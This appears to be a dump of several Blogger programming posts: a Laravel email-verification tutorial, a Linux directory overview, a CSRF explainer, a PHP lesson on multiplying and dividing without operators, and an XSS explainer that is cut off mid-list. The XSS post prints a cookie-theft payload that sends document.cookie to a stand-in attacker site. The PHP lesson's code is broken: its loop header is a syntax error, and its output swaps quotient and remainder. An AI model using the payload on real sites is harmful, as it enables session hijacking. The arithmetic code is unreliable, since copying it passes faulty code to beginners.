<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">// Generating random string</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$confirmation_code </span><span style="background-color: #f7faff;">= str_random(</span><span style="background-color: #f7faff; color: blue;">32</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: grey; font-style: italic;">//Creating User</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$user </span><span style="background-color: #f7faff;">= User::</span><span style="background-color: #f7faff; font-style: italic;">create</span><span style="background-color: #f7faff;">([</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'name' </span><span style="background-color: #f7faff;">=> Input::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'name'</span><span style="background-color: #f7faff;">),</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'email' </span><span style="background-color: #f7faff;">=> Input::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'email'</span><span style="background-color: #f7faff;">),</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'password' </span><span style="background-color: #f7faff;">=> Hash::</span><span style="background-color: #f7faff; font-style: italic;">make</span><span style="background-color: #f7faff;">(Input::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'password'</span><span style="background-color: #f7faff;">)),</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'confirmation_code' </span><span style="background-color: #f7faff;">=> </span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> ]);</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: grey; font-style: italic;">// Sending Mail</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">Mail::</span><span style="background-color: #f7faff; font-style: italic;">send</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'email.verify'</span><span style="background-color: #f7faff;">, </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">array</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'confirmation_code'</span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">), </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">function</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: #660000;">$message</span><span style="background-color: #f7faff;">) {</span><span style="background-color: #f7faff; color: #660000;">$message</span><span style="background-color: #f7faff;">->to(Input::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'email'</span><span style="background-color: #f7faff;">), Input::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'username'</span><span style="background-color: #f7faff;">))</span><span style="background-color: #f7faff;">->subject(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'Verify your email address'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> });</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: grey; font-style: italic;">// Printing Message</span><span style="background-color: #f7faff; color: grey; font-style: italic;">
</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">echo </span><span style="background-color: #f7faff; color: green; font-weight: bold;">"<script type="text/javascript"></span><span style="color:#7a7a43;background-color:#f7faff;font-weight:bold;">alert</span><span style="color:#008000;background-color:#f7faff;font-weight:bold;">('We have sent you a confirmation email kindly activate it to log in ')</script>"</span><span style="background-color: #f7faff;">;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">return </span><span style="background-color: #f7faff;">view(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'welcome'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> }</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">}</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">
</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;">The simple verification email using blade is</span> </span></pre>
<pre style="font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">
</span></pre>
<pre style="font-family: 'Courier New'; font-size: 12pt;"><pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #efefef;"><span style="background-color: #efefef; color: blue; font-weight: bold;"><html></span>
<span style="background-color: #efefef;"><</span><span style="background-color: #efefef; color: navy; font-weight: bold;">html </span><span style="background-color: #efefef; color: blue; font-weight: bold;">lang=</span><span style="background-color: #efefef; color: green; font-weight: bold;">"en-US"></span>
<span style="background-color: #efefef;"><</span><span style="background-color: #efefef; color: navy; font-weight: bold;">head></span>
<<span style="background-color: #efefef; color: navy; font-weight: bold;">meta </span><span style="background-color: #efefef; color: blue; font-weight: bold;">charset=</span><span style="background-color: #efefef; color: green; font-weight: bold;">"utf-8"></span>
<span style="background-color: #efefef;"><span style="font-size: 12pt;"> <</span>/</span><span style="background-color: #efefef; color: navy; font-weight: bold;">head></span><span style="background-color: #efefef; color: navy; font-weight: bold;"><span style="color: black; font-size: 12pt; font-weight: normal;"> </span></span></span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #efefef;"><span style="background-color: #efefef; color: navy; font-weight: bold;"><span style="color: black; font-size: 12pt; font-weight: normal;"><</span>body></span>
<span style="background-color: #efefef; color: navy; font-weight: bold;"><span style="color: black; font-size: 12pt; font-weight: normal;"> <</span>h2></span>Verify Your Email Address<<span style="background-color: #efefef;">/</span><span style="background-color: #efefef; color: navy; font-weight: bold;">h2</span><span style="background-color: #efefef;">></span>
<span style="background-color: #efefef;"><</span><span style="background-color: #efefef; color: navy; font-weight: bold;">div></span>
Thanks for creating an account with the verification demo app.
Please follow the link below to verify your email address
{{<span style="background-color: #f7faff;"> URL::</span><span style="background-color: #f7faff; font-style: italic;">to</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'register/verify/' </span><span style="background-color: #f7faff;">. </span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">) </span>}}.<<span style="background-color: #efefef; color: navy; font-weight: bold;">br></span>
<span style="background-color: #efefef;"><</span><span style="background-color: #efefef; color: navy; font-weight: bold;">div></span>
<span style="background-color: #efefef;"><</span><span style="background-color: #efefef; color: navy; font-weight: bold;">body></span>
<span style="background-color: #efefef; color: navy; font-weight: bold;"><span style="color: black; font-size: 12pt; font-weight: normal;"><</span>html></span></span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: transparent; font-family: "arial" , "helvetica" , sans-serif; font-size: large;">
</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: transparent; font-family: "arial" , "helvetica" , sans-serif; font-size: large;">User Confirmation</span></pre>
</pre>
<div style="text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;">To complete the confirmation process the user must follow the lick that is send to them in their mail. So the route of our link will be such like that</span></div>
<div style="text-align: left;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">Route::</span><span style="background-color: #f7faff; font-style: italic;">post</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'register/verify'</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'RegistrationController@send_mail'</span><span style="background-color: #f7faff;">);</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">Route::</span><span style="background-color: #f7faff; font-style: italic;">get</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'register/verify/{confirmationCode}'</span><span style="background-color: #f7faff;">, </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">[</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: green; font-weight: bold;">'as' </span><span style="background-color: #f7faff;">=></span><span style="background-color: #f7faff; color: green; font-weight: bold;">'confirmation_path'</span><span style="background-color: #f7faff;">,</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: green; font-weight: bold;">'uses' </span><span style="background-color: #f7faff;">=> </span><span style="background-color: #f7faff; color: green; font-weight: bold;">'RegistrationController@confirm'</span><span style="background-color: #f7faff;">]);</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">
</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif;">Now we need to define a method in the controller which will do a couple of important things. First we need to find the user to which this confirmation code belongs. If no confirmation code is included or the code does not belong to any user then we will redirect back to home page.</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif;">
</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif;">If a user is found then we his/her confirmed field to true and set their </span><span style="background-color: #cccccc; font-family: "arial" , "helvetica" , sans-serif;">confirmation_code</span><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif;"> to null. This is done so that on the off chance the same code is generated and given to two separate users then as long as the first user verified their email address they will no longer have this code set and no problems will arise.</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif;">
</span></pre>
<pre style="font-size: 12pt;"><pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: grey; font-style: italic;">// Confirmation Code</span><span style="background-color: #f7faff; color: grey; font-style: italic;">
</span><span style="background-color: #f7faff; color: grey; font-style: italic;"> </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">public function </span><span style="background-color: #f7faff;">confirm(</span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">)</span><span style="background-color: #f7faff;"> {</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">if</span><span style="background-color: #f7faff;">( ! </span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">)</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">{</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">throw new </span><span style="background-color: #f7faff;">InvalidConfirmationCodeException;</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">}</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: #660000;">$user </span><span style="background-color: #f7faff;">= User::</span><span style="background-color: #f7faff; font-style: italic;">whereConfirmationCode</span><span style="background-color: #f7faff;">(</span><span style="background-color: #f7faff; color: #660000;">$confirmation_code</span><span style="background-color: #f7faff;">)->first();</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">if </span><span style="background-color: #f7faff;">( ! </span><span style="background-color: #f7faff; color: #660000;">$user</span><span style="background-color: #f7faff;">)</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">{</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: navy; font-weight: bold;">throw new </span><span style="background-color: #f7faff;">InvalidConfirmationCodeException;</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff;">}</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff; color: #660000;">$user</span><span style="background-color: #f7faff;">-></span><span style="background-color: #f7faff; color: #660e7a; font-weight: bold;">confirmed </span><span style="background-color: #f7faff;">= </span><span style="background-color: #f7faff; color: blue;">1</span><span style="background-color: #f7faff;">;</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$user</span><span style="background-color: #f7faff;">-></span><span style="background-color: #f7faff; color: #660e7a; font-weight: bold;">confirmation_code </span><span style="background-color: #f7faff;">= </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">null</span><span style="background-color: #f7faff;">;</span><span style="background-color: #f7faff;"> </span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="background-color: #f7faff; color: #660000;">$user</span><span style="background-color: #f7faff;">->save();</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> e</span><span style="background-color: #f7faff; color: navy; font-weight: bold;">cho </span><span style="background-color: #f7faff; color: green; font-weight: bold;">"<script type="text/javascript"></span><span style="color:#7a7a43;background-color:#f7faff;font-weight:bold;">alert</span><span style="color:#008000;background-color:#f7faff;font-weight:bold;">('Thanks ')</script>"</span><span style="background-color: #f7faff;">;</span><span style="background-color: #f7faff;">
</span><span style="background-color: #f7faff;"> </span><span style="background-color: #f7faff; color: navy; font-weight: bold;">return </span><span style="background-color: #f7faff;">view(</span><span style="background-color: #f7faff; color: green; font-weight: bold;">'welcome'</span><span style="background-color: #f7faff;">);</span><span style="background-color: #f7faff;"> }</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 12pt;">Thats all there is for email verification :)</span></pre>
<pre style="background-color: white; font-family: 'Courier New'; font-size: 12pt;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 12pt;">
</span></pre>
<pre style="font-size: 12pt;"><span style="background-color: white; font-family: "arial" , "helvetica" , sans-serif; font-size: 12pt;">Feel free to throw any query in comments :).</span></pre>
</pre>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<pre style="font-family: 'Courier New'; font-size: 12pt;"></pre>
</div>
</div>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73996001-1', 'auto');
ga('send', 'pageview');
</script>Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-19414805146283552392016-02-03T22:25:00.002-08:002016-02-03T22:25:43.333-08:00Linux File System <div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-iVVjBVnzq4E/VrLibbIX7oI/AAAAAAAACMg/KuaMxQ4LYHw/s1600/Linux-File-System.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="227" src="http://4.bp.blogspot.com/-iVVjBVnzq4E/VrLibbIX7oI/AAAAAAAACMg/KuaMxQ4LYHw/s320/Linux-File-System.jpg" width="320" /></a></div>
The Linux file system is the structure in which all the information on your computer is stored. In fact, one of the defining properties of the<br />
UNIX systems on which Linux is based is that nearly everything you need to identify on your system (data, commands,symbolic links, devices directories) is represented by items in the file systems. Knowing where things are and understanding hoe to get around fliest from shell are critical skills in Linux.<br />
<br />
<br />
<br />
<br />
In Linux the files are organized within hierarchy of directories .Each directory can have files ror other directories. You can go to another directory or file by using either the full the full path (/home/fahad/myfile.txt) or a relative path (for example /home/fahad were your current directory , you could simply refer to the file as myfile.txt.<br />
<br />
The Linux file system looks like a tree upside-down. At the very top is the root directory (do not confuse with the root user) it is represented by a single slash(/). This is illustrated in the figure below.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-G9YTQaHhV7k/VrLmTxutJiI/AAAAAAAACMs/PsobCUJukyo/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="237" src="http://1.bp.blogspot.com/-G9YTQaHhV7k/VrLmTxutJiI/AAAAAAAACMs/PsobCUJukyo/s400/Capture.PNG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Fig (1)</b></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
These Linux directories may interest you</div>
<br />
<br />
<ol style="text-align: left;">
<li>/bin -- Contains common Linuxx user commands, e.g <i>ls,sort,date </i>and<i> chmod</i></li>
<li><i>/boot -- </i>Has the bootable Linux kernel and boot loader configuration (GRUB).</li>
<li>/dev -- Contains files representing access points to devices on your systems. These can be of different types e.g terminal devices (tty*), floppy disks (fd*), hard disks (hd*).</li>
<li>/etc -- Contains administrative configuration files. These files can be edited.</li>
<li>/home -- Contains directories assigned to each regular use with a log in attempt.</li>
<li>/media -- Provides a standard location for automounting devices. (removable media in particular).</li>
<li>/lib -- Contains shared libraries needed by application in /bin/ and /sbin to boot the system.</li>
<li>/mnt -- A common mount point for many devices before it was supplanted by the standard /media directory. Some bootable Linux systems still use this directory. </li>
<li>/misc -- A directory sometimes used to auto mount file systems upon request.</li>
<li>/opt -- Directory structure available to store add-on application software.</li>
<li>/proc -- Contains information about system resources.</li>
<li>/root -- Represents the user's home directory. The home directory for root does not reside beneath /home for security reasons.</li>
<li>/sbin -- Contains administrative commands on daemon processess.</li>
<li>/tmp -- Contains temporary files used by applications.</li>
<li>/usr -- Contains user documentation games,graphical files (X11), libraries (lib) and variety of other commands..</li>
<li>/var -- Contains directories of data used by various applications. </li>
</ol>
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-12249009582377812722016-02-02T23:50:00.000-08:002016-02-02T23:50:20.703-08:00CSRF(Concept &Scope)XSRF, Session Riding & Confused Deputy Attacks <div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-tGFmHyMIGxQ/VrGnOnTleqI/AAAAAAAACL4/ITicqoLB6QA/s1600/images%2B%25281%2529.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-tGFmHyMIGxQ/VrGnOnTleqI/AAAAAAAACL4/ITicqoLB6QA/s1600/images%2B%25281%2529.png" /></a></div>
Cross Site Request forgery (CSRF) attack occur when a malicious web site causes a user's web browser to preform an unwanted action on site which is trusted by the user and important credentials are being held by user at that site. These attacks are easy to prevent and easy to exploit. Cross Site Request Forgery attacks are also known as the Cross Site Reference Forgery (XSRF), Session Riding and Confused Deputy Attacks. I am using CSRF because it is the most commonly used term.<br />
<br />
CSRF attacks are successful when an attacker can cause a user's browser to perform an unwanted action on another site which is the trusted user site. For this action to be successful the user must be capable of performing this action. CSRF attacks are usually as powerful as a user. Means the more the user have access or privilege power on a web application the more powerful a successful attack will be. CSRF attacks are successful nearly against every site that is using implicit authentication. does not explicitly protect itself from CSRF attack.<br />
<br />
<h2 style="text-align: left;">
CSRF Explanation Through Figs</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-mJJ7U6p62k0/VrGrdQOa4MI/AAAAAAAACME/0jGXObTO4F4/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="http://2.bp.blogspot.com/-mJJ7U6p62k0/VrGrdQOa4MI/AAAAAAAACME/0jGXObTO4F4/s400/1.PNG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Fig (1)</b></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ke8cFs7mUgw/VrGrn4tONeI/AAAAAAAACMI/QCqo6vplDeM/s1600/2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="137" src="http://1.bp.blogspot.com/-ke8cFs7mUgw/VrGrn4tONeI/AAAAAAAACMI/QCqo6vplDeM/s400/2.PNG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Fig (2)</b></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-2ki88-lQyX4/VrGryb3MkTI/AAAAAAAACMM/B2Rv0_aWmp8/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="203" src="http://4.bp.blogspot.com/-2ki88-lQyX4/VrGryb3MkTI/AAAAAAAACMM/B2Rv0_aWmp8/s400/3.PNG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Fig (3)</b></div>
<h2 style="clear: both; text-align: left;">
Authentication and CSRF</h2>
<div>
CSRF attacks most commonly exploit the authentication mechanisms if targeted sites. The root of the problem is that Web authentication normally assures site that a request came from a certain user's browser but it does not ensure that the user actually requested or authorised the request.</div>
<div>
<br /></div>
<h3 style="text-align: left;">
Explanation wit the help of Example</h3>
<div style="text-align: left;">
Suppose that the <i>V</i> visits a trusted site <i>S</i> when <i>V</i> visits this site the server gives <i>V</i> browser a Pseudo random Session Identifier <i>SID </i> this <i>SID</i> is used by the server of<i> S</i> to identify that the user is V. when ever a request will be made by the V browser the browser will append this <i>SID</i> with the request and the <i>S </i>will understand that its<i> V.</i></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Now lets suppose that the <i>V</i> visits a malicious site with the same browser and there is a malicious Javascript code in that site which makes a HTTP request to the site <i>S</i> now the browser of <i>V</i> will append that <i>SID </i> with the request as the request is being made to the trusted so when this request reaches the <i>S</i> it will be interpreted as the request from <i>V</i> and it will be a successful CSRF attack. </div>
<div style="text-align: left;">
<br /></div>
<h3 style="text-align: left;">
CSRF and SSL</h3>
<div>
Alternatively the <i>V</i> may use Client Side SSL certificate but it will result in the same problem because the browser will helpfully use the certificate to carry out request to <i>S</i>'s site . Similarly if the <i>V</i> authenticates by his IP address CSRF attack would be possible.</div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div>
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-48600144187014893332016-02-02T21:30:00.000-08:002016-02-02T23:20:44.897-08:00Multiply/Divide two numbers without asterisk (*) Slash (/) Operator in php<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-9UD1QtoP0LA/VrGOWg-E4JI/AAAAAAAACLo/EmUF3VNeoPw/s1600/images.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="184" src="http://3.bp.blogspot.com/-9UD1QtoP0LA/VrGOWg-E4JI/AAAAAAAACLo/EmUF3VNeoPw/s200/images.png" width="200" /></a></div>
This tutorial is for beginners. For those who are having troubles solving their different problems and are starting the course of programming.<br />
<br />
So we want to multiply to numbers without using the operators. The answer to this question is really easy and the logic is given below.<br />
<br />
Assuming that we have two numbers and thwy ar ebeing taken in two variables<br />
<br />
<br />
<br />
<ol style="text-align: left;">
<li>First Number</li>
<li>Second Number</li>
</ol>
<h2 style="text-align: left;">
Multiplication Logic</h2>
<br />
<div>
<div>
<span style="background-color: #cccccc;"></span></div>
<div>
<span style="background-color: #cccccc;">$first_num = $_POST['first_num'];</span></div>
<div>
<span style="background-color: #cccccc;">$sec_num = $_POST['sec_num'];</span></div>
<div>
<span style="background-color: #cccccc;">$result = 0;</span></div>
<div>
<span style="background-color: #cccccc;">for ($i = 0; $i <=; $first_num; $i++)</span></div>
<div>
<span style="background-color: #cccccc;">{</span></div>
<div>
<span style="background-color: #cccccc;">$result += $sec_num;</span></div>
<div>
<span style="background-color: #cccccc;"><br /></span></div>
<div>
<span style="background-color: #cccccc;">}</span></div>
<div>
<span style="background-color: #cccccc;">echo $result;</span></div>
</div>
<div>
<br /></div>
<div>
<span style="background-color: #cccccc;"><br /></span></div>
<div>
<span style="background-color: white;">This will produce the output we want. </span></div>
<div>
<span style="background-color: white;"><br /></span></div>
<h2 style="text-align: left;">
Division Logic</h2>
<div>
<div>
<span style="background-color: #cccccc;">$first_num = $_POST['first_num'];</span></div>
<div>
<div>
<span style="background-color: #cccccc;">$sec_num = $_POST['sec_num'];</span></div>
<div>
<span style="background-color: #cccccc;">$result = 0;</span></div>
<div>
<span style="background-color: #cccccc;">while($first_num>=$sec_num)</span></div>
<div>
<span style="background-color: #cccccc;">{</span></div>
<div>
<span style="background-color: #cccccc;">$first_num = $first_num-$sec_num; //For Remainder</span></div>
<div>
<span style="background-color: #cccccc;">$result += 1; //For Quotient</span></div>
<div>
<span style="background-color: #cccccc;">}</span></div>
<div>
<span style="background-color: #cccccc;">echo "the quotient is = ".$first_num;</span></div>
<div>
<span style="background-color: #cccccc;">echo '<br />';</span></div>
<div>
<span style="background-color: #cccccc;">echo "the remainer is = ".$result;</span></div>
</div>
</div>
<div>
<span style="background-color: #cccccc;"><br /></span></div>
<div>
<span style="background-color: #cccccc;"><br /></span></div>
<div>
Hope this solves your problem.</div>
</div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-11478514961587351342016-02-01T01:10:00.000-08:002016-02-02T22:16:26.185-08:00What is XSS (Concept & Scope) <div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-2OAJQHVjktk/Vq8O0smMzgI/AAAAAAAACLE/kD7bTiJLYIo/s1600/xss1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-2OAJQHVjktk/Vq8O0smMzgI/AAAAAAAACLE/kD7bTiJLYIo/s1600/xss1.jpg" /></a></div>
XSS or CSS both are abbreviation of cross site scripting.<br />
It is one of the most common application level attack. It consists of three parties unlike traditional two party attacks. The three parties are:<br />
<br />
<br />
<ol style="text-align: left;">
<li> Attacker / Hacker</li>
<li> Vulnerable Site</li>
<li> Client / Victim</li>
</ol>
<br />
Let us call the site under attack "www.vulnrable.com" now for a XSS attack to execute there should be a script and this script when executes can get cookies of client browser for that vulnerable site. Why is this allowed? It is allowed because the Javascript model allows the script to execute arriving from a particular site. So the script will execute in the clients browser.<br />
<div>
<br /></div>
<div>
This kind of link will look like :</div>
<div>
<br /></div>
<div>
<span style="background-color: #cccccc;">http://ww.vulnerable.com/welcome.php?name=<script>alert(document.cookie)</script></span></div>
<div>
<br /></div>
<div>
The victim will click the link and the response would be a pop up window showing the cookies of the client to himself off course an attacker will redirect the output to himself and not to the client. For this the attacker may erect a web site www.hacker.com and use a script to receive the cookies. Instead of popping up the window the attacker would write a code that accesses the URL at his site.</div>
<div>
The malicious link would look like:</div>
<div>
<br />
<div>
<span style="background-color: #cccccc;">http://ww.vulnerable.site/welcome.php?name= "the script for the cookies"</span></div>
<div>
<span style="background-color: #cccccc;"><br /></span></div>
<br /></div>
<div>
<div>
<span style="background-color: #cccccc;"><script>window.open(“http://www.hacker.site/collec</span></div>
<div>
<span style="background-color: rgb(204, 204, 204);">t.php?cookie=”%2Bdocument.cookie)</script></span></div>
</div>
<div>
And in reponse the attacker would get all the cookies.</div>
<div>
<br /></div>
<div>
<h2 style="text-align: left;">
Scope of an XSS attack. </h2>
</div>
<div>
The attack can occur only at the victim side and it is to reminded that the same browser is used for accessing the vulnerable site. The attacker needs to force the client to access the malicious link. This can happen in several ways:<br />
<br />
<br />
<ol style="text-align: left;">
